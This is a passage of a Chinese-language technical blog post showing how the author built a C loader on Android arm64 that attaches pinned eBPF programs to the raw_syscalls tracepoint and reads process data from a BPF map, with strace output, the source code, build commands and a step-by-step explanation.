read(4, "21\n", 4096) = 3
close(4) = 0
perf_event_open({type=PERF_TYPE_TRACEPOINT, size=0, config=21, ...}, -1, 0, -1, PERF_FLAG_FD_CLOEXEC) = 4
ioctl(4, PERF_EVENT_IOC_SET_BPF, 3) = 0
ioctl(4, PERF_EVENT_IOC_ENABLE, 0) = 0
nanosleep({tv_sec=1, tv_nsec=0}, 0x7ff104b788) = 0
bpf(BPF_OBJ_GET, {pathname="/sys/fs/bpf/map_bpftest_execve_map", bpf_fd=0, file_flags=0}, 120) = 5
nanosleep({tv_sec=0, tv_nsec=40000000}, NULL) = 0
bpf(BPF_MAP_LOOKUP_ELEM, {map_fd=5, key=0x7ff104b5f4, value=0x7ff104b5e8}, 120) = 0
通过上面的系统调用，我们就能理清楚，loader程序到底做了哪些工作。
接着我找到了Linux内核中的一个bpf_load.c，参考了一下在普通的Linux系统中，loader是怎么处理的，所以我对该程序进行了修改，增加了以下代码：
struct androidBPF {
char *prog_path;
char *map_path;
char *tp_category;
char *tp_name;
};
static int load_prog(char *prog_path)
{
int pfd;
pfd = bpf_obj_get(prog_path);
if (pfd < 0) {
printf("bpf_prog_load() err=%d\n%s", errno, prog_path);
return -1;
}
return pfd;
}
int attach_tracepoint(char *tp_category, char *tp_name)
{
char buf[256];
int efd, err, id;
struct perf_event_attr attr = {};
attr.type = PERF_TYPE_TRACEPOINT;
attr.sample_type = PERF_SAMPLE_RAW;
attr.sample_period = 1;
attr.wakeup_events = 1;
strcpy(buf, DEBUGFS);
strcat(buf, "events/");
strcat(buf, tp_category);
strcat(buf, "/");
strcat(buf, tp_name);
strcat(buf, "/id");
efd = open(buf, O_RDONLY, 0);
if (efd < 0) {
printf("failed to open %s\n", buf);
return -1;
}
err = read(efd, buf, sizeof(buf));
if (err < 0 || err >= sizeof(buf)) {
printf("read from failed '%s'\n", strerror(errno));
return -1;
}
close(efd);
buf[err] = 0;
id = atoi(buf);
attr.config = id;
efd = perf_event_open(&attr, -1/*pid*/, 0/*cpu*/, -1/*group_fd*/, 0);
if (efd < 0) {
printf("event %d fd %d err %s\n", id, efd, strerror(errno));
return -1;
}
return efd;
}
static int load_map(char *map_path)
{
int mfd;
mfd = bpf_obj_get(map_path);
if (mfd < 0) {
printf("bpf_map_load() err=%d\n%s", errno, map_path);
return -1;
}
return mfd;
}
int get_map_by_int_key(int *key, void *value)
{
int mfd, ret;
mfd = map_fd[prog_cnt-1];
ret = bpf_lookup_elem(mfd, key, value);
return ret;
}
int load_bpf_from_fs(struct androidBPF *abpf)
{
int fd, efd, mfd;
fd = load_prog(abpf->prog_path);
if (fd <= 0) {
printf("[debug] load prog error.\n");
return fd;
}
prog_fd[prog_cnt] = fd;
efd = attach_tracepoint(abpf->tp_category, abpf->tp_name);
if (efd <= 0) {
printf("[debug] attach_tracepoint error.\n");
return efd;
}
event_fd[prog_cnt] = efd;
ioctl(efd, PERF_EVENT_IOC_ENABLE, 0);
ioctl(efd, PERF_EVENT_IOC_SET_BPF, fd);
printf("[debug] load bpf prog success.\n");
mfd = load_map(abpf->map_path);
if (mfd <= 0) {
printf("[debug] load_map error.\n");
return mfd;
}
map_fd[prog_cnt++] = mfd;
return 0;
}
void read_trace_pipe(int times)
{
int trace_fd;
trace_fd = open(DEBUGFS "trace_pipe", O_RDONLY, 0);
if (trace_fd < 0)
return;
// times = 0, loop 0xffffffff
do {
static char buf[4096];
ssize_t sz;
sz = read(trace_fd, buf, sizeof(buf) - 1);
if (sz > 0) {
buf[sz] = 0;
puts(buf);
}
} while (--times);
}
接着，我就能使用C代码来写loader了：
#include "bpf_load.h"
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
struct androidBPF abpf = {0, };
if (argc < 3)
return 0;
abpf.prog_path = argv[1];
abpf.map_path = argv[2];
abpf.tp_category = "raw_syscalls";
abpf.tp_name = "sys_enter";
if (load_bpf_from_fs(&abpf) != 0) { // 用于加载 ELF 格式的 BPF 程序
printf("The kernel didn't load the BPF program\n");
return -1;
}
int key, ret;
key = 1;
struct event_execv value;
for (int i = 0; i < 10; i ++) {
memset(&value, 0, sizeof(value));
ret = get_map_by_int_key(&key, &value);
printf("[debug] ret = %d, pid = %d, gid = %d, comm = %s\n", ret, value.pid, value.gid, value.cmd);
}
// for (int i=0; i < 88; i++)
// {
// printf("debug value[%d] = 0x%x\n", i, *((char *)&value+i));
// }
read_trace_pipe(1);
return 0;
}
在本地的arm64机器上就能编译了：
$ ls -alF
total 916
drwxr-xr-x 1 hehe hehe 320 Oct 31 11:54 ./
drwxr-xr-x 1 hehe hehe 416 Oct 30 22:34 ../
-rw-rw-r-- 1 hehe hehe 4025 Oct 30 22:37 bpf_helpers.h
-rw-rw-r-- 1 hehe hehe 10940 Oct 31 11:35 bpf_load.c
-rw-rw-r-- 1 hehe hehe 1112 Oct 31 11:35 bpf_load.h
-rw-rw-r-- 1 hehe hehe 3432 Oct 30 22:49 libbpf.c
-rw-rw-r-- 1 hehe hehe 5294 Oct 30 22:50 libbpf.h
-rw-r--r-- 1 hehe hehe 117176 Oct 30 22:54 libelf.so
-rwxrwxr-x 1 hehe hehe 773016 Oct 31 11:54 loader*
-rw-rw-r-- 1 hehe hehe 868 Oct 31 11:54 loader.c
$ clang loader.c bpf_load.c libbpf.c -lelf -lz -o loader -static
上面的loader只简单实现了一下读取map的操作，进阶的玩法还可以更新map的数据，比如我只想监控`curl`程序，那么可以把`111=>curl`写入map当中，然后在BPF程序中，从`map[111]`获取value，只有当`comm
== map[111]`的情况下，才把信息写入map当中。
我们重新再来理解一下loader的操作：
1. BPF_OBJ_GET prog_bpftest_tracepoint_raw_syscalls_sys_enter，获取prog对象
2. 读取SEC定义的section的id，从`/sys/kernel/tracing/events/raw_syscalls/sys_enter/id`获取
3. perf_event_open打开相应时间，因为是tracepoint，所以type要设置为PERF_TYPE_TRACEPOINT，config等于上面获取id
4. 打开事件后，获取了一个文件描述符，对该文件描述符进行ioctl操作，操作的命令有两个，`PERF_EVENT_IOC_SET_BPF`和`PERF_EVENT_IOC_ENABLE`，PERF_EVENT_IOC_SET_BPF设置为prog对象的文件描述符
到这里为止，表示激活了你想调用的BPF程序了，要不然默认情况下BPF都处于未激活状态。
接下来就是对map的操作：
1. BPF_OBJ_GET /sys/fs/bpf/map_bpftest_execve_map，获取map对象。
2. BPF_MAP_LOOKUP_ELEM {map_fd=5, key=0x7ff104b5f4, value=0x7ff104b5e8}，从map_fd中搜索key对应的value，储存在value的指针中返回。
目前这块的资料太少了，只能通过一些demo和源码来进行研究，下一篇将会研究uprobe的用法。
# 参考
1. <https://elixir.bootlin.com/linux/v4.14.2/source/samples/bpf/bpf_load.c>
* * * | 社区文章 |
Subsets and Splits